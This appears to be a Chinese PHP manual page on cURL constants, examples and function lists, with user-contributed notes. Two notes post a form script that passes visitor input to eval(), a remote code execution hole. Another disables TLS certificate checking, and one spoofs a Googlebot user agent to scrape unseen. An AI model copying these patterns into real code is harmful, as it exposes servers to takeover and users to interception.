自 PHP 7.0.7 和 cURL 7.45.0 起可用
CURLOPT_STREAM_WEIGHT (int)
自 PHP 7.0.7 和 cURL 7.46.0 起可用
CURLOPT_TFTP_NO_OPTIONS (int)
自 PHP 7.0.7 和 cURL 7.48.0 起可用
CURLOPT_CONNECT_TO (int)
自 PHP 7.0.7 和 cURL 7.49.0 起可用
CURLOPT_TCP_FASTOPEN (int)
自 PHP 7.0.7 和 cURL 7.49.0 起可用
CURLOPT_TCP_KEEPALIVE (int)
自 cURL 7.25.0 起可用
CURLOPT_TCP_KEEPIDLE (int)
自 cURL 7.25.0 起可用
CURLOPT_TCP_KEEPINTVL (int)
自 cURL 7.25.0 起可用
CURLMOPT_PIPELINING (int)
自 cURL 7.16.0 起可用。
CURLMOPT_MAXCONNECTS (int)
自 cURL 7.16.3 起可用。
CURLMOPT_MAX_CONCURRENT_STREAMS (int)
自 PHP 8.2.0 和 cURL 7.67.0 起可用
CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE (int)
自 PHP 7.0.7 和 cURL 7.30.0 起可用
CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE (int)
自 PHP 7.0.7 和 cURL 7.30.0 起可用
CURLMOPT_MAX_HOST_CONNECTIONS (int)
自 PHP 7.0.7 和 cURL 7.30.0 起可用
CURLMOPT_MAX_PIPELINE_LENGTH (int)
自 PHP 7.0.7 和 cURL 7.30.0 起可用
CURLMOPT_MAX_TOTAL_CONNECTIONS (int)
自 PHP 7.0.7 和 cURL 7.30.0 起可用
CURLMOPT_PUSHFUNCTION (int)
自 PHP 7.1.0 和 cURL 7.44.0 起可用
CURLSSH_AUTH_AGENT (int)
自 PHP 7.0.7 和 cURL 7.28.0 起可用
CURLSSH_AUTH_ANY (int)
CURLSSH_AUTH_DEFAULT (int)
CURLSSH_AUTH_HOST (int)
CURLSSH_AUTH_KEYBOARD (int)
CURLSSH_AUTH_NONE (int)
CURLSSH_AUTH_PASSWORD (int)
CURLSSH_AUTH_PUBLICKEY (int)
CURLPAUSE_ALL (int)
自 cURL 7.18.0 起可用。
CURLPAUSE_CONT (int)
自 cURL 7.18.0 起可用。
CURLPAUSE_RECV (int)
自 cURL 7.18.0 起可用。
CURLPAUSE_RECV_CONT (int)
自 cURL 7.18.0 起可用。
CURLPAUSE_SEND (int)
自 cURL 7.18.0 起可用。
CURLPAUSE_SEND_CONT (int)
自 cURL 7.18.0 起可用。
CURLPIPE_NOTHING (int)
自 cURL 7.43.0 起可用。
CURLPIPE_HTTP1 (int)
自 cURL 7.43.0 起可用。
CURLPIPE_MULTIPLEX (int)
自 cURL 7.43.0 起可用。
CURLPROXY_SOCKS4A (int)
自 cURL 7.18.0 起可用。
CURLPROXY_SOCKS5_HOSTNAME (int)
自 cURL 7.18.0 起可用。
CURLHEADER_SEPARATE (int)
自 PHP 7.0.7 和 cURL 7.37.0 起可用.
CURLHEADER_UNIFIED (int)
自 PHP 7.0.7 和 cURL 7.37.0 起可用.
CURLPROTO_SMB (int)
自 PHP 7.0.7 和 cURL 7.40.0 起可用.
CURLPROTO_SMBS (int)
自 PHP 7.0.7 和 cURL 7.40.0 起可用.
CURLPROTO_MQTT (int)
自 PHP 8.2.0 和 cURL 7.71.0 起可用
CURLOPT_REQUEST_TARGET (int)
自 PHP 7.3.0 和 cURL 7.55.0 起可用。
CURLAUTH_GSSAPI (int)
自 PHP 7.3.0 和 cURL 7.54.1 起可用
CURLE_WEIRD_SERVER_REPLY (int)
自 PHP 7.3.0 和 cURL 7.51.0 起可用
CURLINFO_CONTENT_LENGTH_DOWNLOAD_T (int)
自 PHP 7.3.0 和 cURL 7.55.0 起可用
CURLINFO_CONTENT_LENGTH_UPLOAD_T (int)
自 PHP 7.3.0 和 cURL 7.55.0 起可用
CURLINFO_HTTP_VERSION (int)
自 PHP 7.3.0 和 cURL 7.50.0 起可用
CURLINFO_PROTOCOL (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLINFO_PROXY_SSL_VERIFYRESULT (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLINFO_SCHEME (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLINFO_SIZE_DOWNLOAD_T (int)
自 PHP 7.3.0 和 cURL 7.50.0 起可用
CURLINFO_SIZE_UPLOAD_T (int)
自 PHP 7.3.0 和 cURL 7.50.0 起可用
CURLINFO_SPEED_DOWNLOAD_T (int)
自 PHP 7.3.0 和 cURL 7.50.0 起可用
CURLINFO_SPEED_UPLOAD_T (int)
自 PHP 7.3.0 和 cURL 7.50.0 起可用
CURL_MAX_READ_SIZE (int)
自 PHP 7.3.0 和 cURL 7.53.0 起可用
CURLOPT_ABSTRACT_UNIX_SOCKET (int)
自 PHP 7.3.0 和 cURL 7.53.0 起可用
CURLOPT_KEEP_SENDING_ON_ERROR (int)
自 PHP 7.3.0 和 cURL 7.51.0 起可用
CURLOPT_PRE_PROXY (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_CAINFO (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_CAINFO_BLOB (int)
自 PHP 8.2.0 和 cURL 7.77.0 起可用
CURLOPT_PROXY_CAPATH (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_CRLFILE (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_KEYPASSWD (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_PINNEDPUBLICKEY (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSLCERT (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSLCERTTYPE (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSL_CIPHER_LIST (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSLKEY (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSLKEYTYPE (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSL_OPTIONS (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSL_VERIFYHOST (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSL_VERIFYPEER (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_SSLVERSION (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_TLSAUTH_PASSWORD (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_TLSAUTH_TYPE (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_PROXY_TLSAUTH_USERNAME (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLOPT_SOCKS5_AUTH (int)
自 PHP 7.3.0 和 cURL 7.55.0 起可用
CURLOPT_SUPPRESS_CONNECT_HEADERS (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURLPROXY_HTTPS (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURL_SSLVERSION_MAX_DEFAULT (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURL_SSLVERSION_MAX_NONE (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURL_SSLVERSION_MAX_TLSv1_0 (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURL_SSLVERSION_MAX_TLSv1_1 (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURL_SSLVERSION_MAX_TLSv1_2 (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURL_SSLVERSION_MAX_TLSv1_3 (int)
自 PHP 7.3.0 和 cURL 7.54.0 起可用
CURL_SSLVERSION_TLSv1_3 (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURL_VERSION_HTTPS_PROXY (int)
自 PHP 7.3.0 和 cURL 7.52.0 起可用
CURLAUTH_BEARER (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用。
CURLINFO_APPCONNECT_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLINFO_CONNECT_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLINFO_FILETIME_T (int)
自 PHP 7.3.0 和 cURL 7.59.0 起可用
CURLINFO_NAMELOOKUP_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLINFO_PRETRANSFER_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLINFO_REDIRECT_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLINFO_STARTTRANSFER_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLINFO_TOTAL_TIME_T (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURL_LOCK_DATA_CONNECT (int)
自 PHP 7.3.0 和 cURL 7.10.0 起可用
CURL_LOCK_DATA_PSL (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLOPT_DISALLOW_USERNAME_IN_URL (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLOPT_DNS_SHUFFLE_ADDRESSES (int)
自 PHP 7.3.0 和 cURL 7.60.0 起可用
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS (int)
自 PHP 7.3.0 和 cURL 7.59.0 起可用
CURLOPT_HAPROXYPROTOCOL (int)
自 PHP 7.3.0 和 cURL 7.60.0 起可用
CURLOPT_PROXY_TLS13_CIPHERS (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLOPT_SSH_COMPRESSION (int)
自 PHP 7.3.0 和 cURL 7.56.0 起可用
CURLOPT_TIMEVALUE_LARGE (int)
自 PHP 7.3.0 和 cURL 7.59.0 起可用
CURLOPT_TLS13_CIPHERS (int)
自 PHP 7.3.0 和 cURL 7.61.0 起可用
CURLSSH_AUTH_GSSAPI (int)
自 PHP 7.3.0 和 cURL 7.58.0 起可用
CURLOPT_HTTP09_ALLOWED (int)
分别从 PHP 7.3.15 和 7.4.3 以及 cURL 7.64.0 开始可用

User Contributed Notes

jrschlosser 12-Dec-2017 04:57
In PHP version 7.1.11 there is also constants for HTTP/2 :
CURL_VERSION_HTTP2 = 65536 (1 << 16)
CURL_HTTP_VERSION_2_0 = 3

I don't know the first version of PHP that defines it.
uramihsayibok, gmail, com 02-Sep-2015 09:07
Regarding CURLE_OPERATION_TIMEDOUT vs. CURLE_OPERATION_TIMEOUTED:

Originally cURL had the constant named TIMEOUTED (read: "timeout-ed"). This was changed[1] in 2007 and v7.17.0 to be TIMEDOUT (read: "timed out") and the old constant kept in place as an alias.

PHP started off using TIMEOUTED as well. The TIMEDOUT constant was added[2] in 2012 and v5.5.0 and the old constant was *kept in place*.

If you ask me, the TIMEDOUT constant reads more nicely (not to mention is technically the correct one to use) and as long as you're using PHP 5.5+ then it is available. If you have to support older versions then I suggest you keep using the new constant and add a polyfill like

<?php
if (version_compare(PHP_VERSION, "5.5.0", "<")) {
    define("CURLE_OPERATION_TIMEDOUT", CURLE_OPERATION_TIMEOUTED);
}
?>

or

<?php
// PHP <5.5.0
defined("CURLE_OPERATION_TIMEDOUT") || define("CURLE_OPERATION_TIMEDOUT", CURLE_OPERATION_TIMEOUTED);
?>

to be removed once you stop supporting them.

[1] https://github.com/bagder/curl/commit/9f44a95522162c0f4a61093efe1bf1f58b087358#diff-d8c6cb80505e0f7d5e27fca2a682aa34L119
[2] https://github.com/php/php-src/commit/9ab45d3edbafa3ee751472c3f8d1fb3f51f38cf1#diff-ac978e3de205f1d14eb960e0eb15ef24R723
nimasdj [AT] yahoo [DOT] com 28-Jul-2015 04:34
I hope this would be useful to convert error codes:

<?php
$curl_errno = array(
1  => "CURLE_UNSUPPORTED_PROTOCOL",
2  => "CURLE_FAILED_INIT",
3  => "CURLE_URL_MALFORMAT",
4  => "CURLE_URL_MALFORMAT_USER",
5  => "CURLE_COULDNT_RESOLVE_PROXY",
6  => "CURLE_COULDNT_RESOLVE_HOST",
7  => "CURLE_COULDNT_CONNECT",
8  => "CURLE_FTP_WEIRD_SERVER_REPLY",
9  => "CURLE_FTP_ACCESS_DENIED",
10 => "CURLE_FTP_USER_PASSWORD_INCORRECT",
11 => "CURLE_FTP_WEIRD_PASS_REPLY",
12 => "CURLE_FTP_WEIRD_USER_REPLY",
13 => "CURLE_FTP_WEIRD_PASV_REPLY",
14 => "CURLE_FTP_WEIRD_227_FORMAT",
15 => "CURLE_FTP_CANT_GET_HOST",
16 => "CURLE_FTP_CANT_RECONNECT",
17 => "CURLE_FTP_COULDNT_SET_BINARY",
18 => "CURLE_FTP_PARTIAL_FILE or CURLE_PARTIAL_FILE",
19 => "CURLE_FTP_COULDNT_RETR_FILE",
20 => "CURLE_FTP_WRITE_ERROR",
21 => "CURLE_FTP_QUOTE_ERROR",
22 => "CURLE_HTTP_NOT_FOUND or CURLE_HTTP_RETURNED_ERROR",
23 => "CURLE_WRITE_ERROR",
24 => "CURLE_MALFORMAT_USER",
25 => "CURLE_FTP_COULDNT_STOR_FILE",
26 => "CURLE_READ_ERROR",
27 => "CURLE_OUT_OF_MEMORY",
28 => "CURLE_OPERATION_TIMEDOUT or CURLE_OPERATION_TIMEOUTED",
29 => "CURLE_FTP_COULDNT_SET_ASCII",
30 => "CURLE_FTP_PORT_FAILED",
31 => "CURLE_FTP_COULDNT_USE_REST",
32 => "CURLE_FTP_COULDNT_GET_SIZE",
33 => "CURLE_HTTP_RANGE_ERROR",
34 => "CURLE_HTTP_POST_ERROR",
35 => "CURLE_SSL_CONNECT_ERROR",
36 => "CURLE_BAD_DOWNLOAD_RESUME or CURLE_FTP_BAD_DOWNLOAD_RESUME",
37 => "CURLE_FILE_COULDNT_READ_FILE",
38 => "CURLE_LDAP_CANNOT_BIND",
39 => "CURLE_LDAP_SEARCH_FAILED",
40 => "CURLE_LIBRARY_NOT_FOUND",
41 => "CURLE_FUNCTION_NOT_FOUND",
42 => "CURLE_ABORTED_BY_CALLBACK",
43 => "CURLE_BAD_FUNCTION_ARGUMENT",
44 => "CURLE_BAD_CALLING_ORDER",
45 => "CURLE_HTTP_PORT_FAILED",
46 => "CURLE_BAD_PASSWORD_ENTERED",
47 => "CURLE_TOO_MANY_REDIRECTS",
48 => "CURLE_UNKNOWN_TELNET_OPTION",
49 => "CURLE_TELNET_OPTION_SYNTAX",
50 => "CURLE_OBSOLETE",
51 => "CURLE_SSL_PEER_CERTIFICATE",
52 => "CURLE_GOT_NOTHING",
53 => "CURLE_SSL_ENGINE_NOTFOUND",
54 => "CURLE_SSL_ENGINE_SETFAILED",
55 => "CURLE_SEND_ERROR",
56 => "CURLE_RECV_ERROR",
57 => "CURLE_SHARE_IN_USE",
58 => "CURLE_SSL_CERTPROBLEM",
59 => "CURLE_SSL_CIPHER",
60 => "CURLE_SSL_CACERT",
61 => "CURLE_BAD_CONTENT_ENCODING",
62 => "CURLE_LDAP_INVALID_URL",
63 => "CURLE_FILESIZE_EXCEEDED",
64 => "CURLE_FTP_SSL_FAILED",
79 => "CURLE_SSH"
);
?>
me at ruslanbes dot com 11-May-2015 08:28
Note that prior to PHP 5.5 following constants were missing and were available only through their numeric values:

CURL_SSLVERSION_DEFAULT // 0
CURL_SSLVERSION_TLSv1  // 1
CURL_SSLVERSION_SSLv2 // 2
CURL_SSLVERSION_SSLv3 // 3

This was fixed after this support request: https://bugs.php.net/bug.php?id=62318
s dot coletta at unidata dot it 08-Oct-2009 02:17
Beware of CURLE_* constants!

On the official site:

http://curl.haxx.se/libcurl/c/libcurl-errors.html

some constants are different, some missing compared to the PHP implementation.

Some examples:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT

So if you use the second, it won't march the error 28 because in PHP it is not defined that way.

The same is for these:

CURLE_HTTP_RETURNED_ERROR
CURLE_UPLOAD_FAILED
CURLE_INTERFACE_FAILED
CURLE_SSL_CERTPROBLEM
CURLE_SEND_FAIL_REWIND
CURLE_LOGIN_DENIED
CURLE_AGAIN

that are in someway named differently or missing from PHP.
Ron 04-Aug-2007 11:48
<?
/*
* Author: Ron
* Released: August 4, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.ericgiguere.com/tools/http-header-viewer.html';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

~Ron


示例

Table of Contents

  • curl 基础例子

User Contributed Notes

cmnajs at gmail dot com 07-Jan-2009 03:57
Following code returns the curl output as a string.

<?php
        // create curl resource
        $ch = curl_init();

        // set url
        curl_setopt($ch, CURLOPT_URL, "example.com");

        //return the transfer as a string
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        // $output contains the output string
        $output = curl_exec($ch);

        // close curl resource to free up system resources
        curl_close($ch);
?>
jlee8df at gmail dot com 30-May-2008 01:47
Basic cURL file or page download with basic error trapping.

<?php

function cURLcheckBasicFunctions()
{
  if( !function_exists("curl_init") &&
      !function_exists("curl_setopt") &&
      !function_exists("curl_exec") &&
      !function_exists("curl_close") ) return false;
  else return true;
}

/*
 * Returns string status information.
 * Can be changed to int or bool return types.
 */
function cURLdownload($url, $file)
{
  if( !cURLcheckBasicFunctions() ) return "UNAVAILABLE: cURL Basic Functions";
  $ch = curl_init();
  if($ch)
  {
    $fp = fopen($file, "w");
    if($fp)
    {
      if( !curl_setopt($ch, CURLOPT_URL, $url) )
      {
        fclose($fp); // to match fopen()
        curl_close($ch); // to match curl_init()
        return "FAIL: curl_setopt(CURLOPT_URL)";
      }
      if( !curl_setopt($ch, CURLOPT_FILE, $fp) ) return "FAIL: curl_setopt(CURLOPT_FILE)";
      if( !curl_setopt($ch, CURLOPT_HEADER, 0) ) return "FAIL: curl_setopt(CURLOPT_HEADER)";
      if( !curl_exec($ch) ) return "FAIL: curl_exec()";
      curl_close($ch);
      fclose($fp);
      return "SUCCESS: $file [$url]";
    }
    else return "FAIL: fopen()";
  }
  else return "FAIL: curl_init()";
}

// Download from 'example.com' to 'example.txt'
echo cURLdownload("http://www.example.com", "example.txt");

?>

- JLèé


curl 基础例子

只要你编译完的PHP设置了支持 cURL 扩展，你就可以开始使用cURL函数了。使用 cURL 函数的基本思想是先使用 curl_init() 初始化 cURL会话，接着可以通过 curl_setopt() 设置需要的全部选项，然后使用 curl_exec() 来执行会话，当执行完会话后使用 curl_close() 关闭会话。这是一个使用 cURL 函数获取 example.com 主页保存到文件的例子：

Example #1 使用 PHP cURL 模块获取 example.com 的主页

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
if(curl_error($ch)) {
fwrite($fp, curl_error($ch));
}
curl_close($ch);
fclose($fp);
?>

User Contributed Notes

Roberto Braga 01-Apr-2015 09:45
It is important to notice that when using curl to post form data and you use an array for CURLOPT_POSTFIELDS option, the post will be in multipart format

<?php
$params=['name'=>'John', 'surname'=>'Doe', 'age'=>36];
$defaults = array(
CURLOPT_URL => 'http://myremoteservice/',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $params,
);
$ch = curl_init();
curl_setopt_array($ch, ($options + $defaults));
?>
This produce the following post header:

--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="name"

Jhon
--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="surnname"

Doe
--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="age"

36
--------------------------fd1c4191862e3566--

Setting CURLOPT_POSTFIELDS as follow produce a standard post header

CURLOPT_POSTFIELDS => http_build_query($params),

Which is:
name=John&surname=Doe&age=36

This caused me 2 days of debug while interacting with a java service which was sensible to this difference, while the equivalent one in php got both format without problem.


cURL 函数

Table of Contents

  • curl_close — 关闭 cURL 会话
  • curl_copy_handle — 复制 cURL 句柄及其所有选项
  • curl_errno — 返回最后一次的错误代码
  • curl_error — 返回当前会话最后一次错误的字符串
  • curl_escape — 使用 URL 编码给定的字符串
  • curl_exec — 执行 cURL 会话
  • curl_getinfo — 获取一个cURL连接资源句柄的信息
  • curl_init — 初始化 cURL 会话
  • curl_multi_add_handle — 添加普通 cURL 句柄到 cURL 多句柄
  • curl_multi_close — 关闭一组 cURL 句柄
  • curl_multi_errno — 返回上一次 curl 批处理的错误码
  • curl_multi_exec — 运行当前 cURL 句柄的子连接
  • curl_multi_getcontent — 如果设置了 CURLOPT_RETURNTRANSFER，则返回 cURL 句柄的内容
  • curl_multi_info_read — 获取当前传输的有关信息
  • curl_multi_init — 返回新 cURL 批处理句柄
  • curl_multi_remove_handle — 从一组 cURL 句柄中移除一个多句柄
  • curl_multi_select — 在任意 curl_multi 连接上等待活动
  • curl_multi_setopt — 设置 cURL 并行选项
  • curl_multi_strerror — 返回字符串描述的错误代码
  • curl_pause — 暂停和取消暂停连接
  • curl_reset — 重置一个 libcurl 会话句柄的所有的选项
  • curl_setopt_array — 为 cURL 传输会话批量设置选项
  • curl_setopt — 设置 cURL 传输选项
  • curl_share_close — 关闭 cURL 共享句柄
  • curl_share_errno — 返回共享 curl 句柄的最后一次错误编号
  • curl_share_init — 初始化 cURL 共享句柄
  • curl_share_setopt — 为 cURL 共享句柄设置选项
  • curl_share_strerror — 返回错误编号对应的错误消息
  • curl_strerror — 返回错误代码的字符串描述
  • curl_unescape — 解码指定 URL 编码的字符串
  • curl_upkeep — Performs any connection upkeep checks
  • curl_version — 获取 cURL 版本信息

User Contributed Notes

Anonymous 06-Jun-2021 08:06
Note, if you will ever need to get/set unique handle for Curl-object, you might need to use CURL_PRIVATE property for each instace
https://www.php.net/manual/en/function.curl-setopt.php
ciaoandriana8 at gmail dot com 14-Feb-2021 06:13
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : https://amzn.to/3njlWW6
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
</head>

<body>

<form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
</form>

<?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

?>
<textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
</body>
</html>
helmizz at yahoo dot com 11-May-2014 10:03
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : http://amazon.com
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
 <head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
 </head>

 <body>

 <form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
 </form>

 <?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

 ?>
 <textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
 </body>
</html>
Emprivo.com 26-Aug-2009 09:58
Fixed bugs in the function posted earlier (better javascript redirect following and now supports HTTPS)

<?php

/*==================================
Get url content and response headers (given a url, follows all redirections on it and returned content and response headers of final url)

@return    array[0]    content
        array[1]    array of response headers
==================================*/
function get_url( $url,  $javascript_loop = 0, $timeout = 5 )
{
    $url = str_replace( "&amp;", "&", urldecode(trim($url)) );

    $cookie = tempnam ("/tmp", "CURLCOOKIE");
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_ENCODING, "" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_AUTOREFERER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );    # required for https urls
    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 );
    $content = curl_exec( $ch );
    $response = curl_getinfo( $ch );
    curl_close ( $ch );

    if ($response['http_code'] == 301 || $response['http_code'] == 302)
    {
        ini_set("user_agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");

        if ( $headers = get_headers($response['url']) )
        {
            foreach( $headers as $value )
            {
                if ( substr( strtolower($value), 0, 9 ) == "location:" )
                    return get_url( trim( substr( $value, 9, strlen($value) ) ) );
            }
        }
    }

    if (    ( preg_match("/>[[:space:]]+window\.location\.replace\('(.*)'\)/i", $content, $value) || preg_match("/>[[:space:]]+window\.location\=\"(.*)\"/i", $content, $value) ) &&
            $javascript_loop < 5
    )
    {
        return get_url( $value[1], $javascript_loop+1 );
    }
    else
    {
        return array( $content, $response );
    }
}

?>
